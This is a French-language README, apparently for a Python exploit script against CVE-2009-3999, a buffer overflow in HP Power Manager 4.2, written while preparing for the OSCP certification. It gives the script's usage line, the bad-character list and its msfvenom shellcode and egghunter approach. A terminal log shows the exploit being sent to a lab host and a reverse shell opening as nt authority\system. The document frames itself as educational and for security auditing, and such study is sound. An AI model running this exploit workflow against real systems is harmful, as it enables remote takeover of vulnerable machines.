Script automatique écrit en Python pour CVE-2009-3999
Dans le cadre de ma préparation à l'OSCP, je suis tombé sur l'exploit CVE-2009-3999 (Buffer Overflow de HP Power Manager 4.2 (Build 7)).
Ce dernier script a été mis à jour pour résoudre les problèmes de compatibilité Python 3 concernant la gestion des chaînes et des octets, garantissant que la charge utile est transmise sous forme binaire brute pour éviter une altération de la mémoire.
Cette version intègre une automatisation msfvenom qui génère dynamiquement du shellcode avec les mauvais caractères corrects (\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c), l'attache à un Egghunter spécialisé et transmet la charge utile finale via une requête POST au point d'accès formExportDataLogs. Elle est conçue à des fins éducatives et d'audit de sécurité, simplifiant le flux d'exploitation en gérant la génération du shellcode et le démarrage de l'écouteur sous un même toit.
usage: python3 CVE-2009-3999.py <TARGET-IP> <TARGET-PORT> <LHOST> <LPORT>
┌──(venv)─(root㉿user)-[/run/…/user/2024/HTBox/kevin]
└─# python3 exp6.py 192.168.147.45 80 192.168.45.183 4444
[*] Generating msfvenom payload for 192.168.45.183:4444...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a nil character
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of python file: 1953 bytes
[+] Sending exploit to 192.168.147.45:80
[+] Exploit sent. Starting listener on 4444...
listening on [any] 4444 ...
connect to [192.168.45.183] from (UNKNOWN) [192.168.147.45] 49168
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system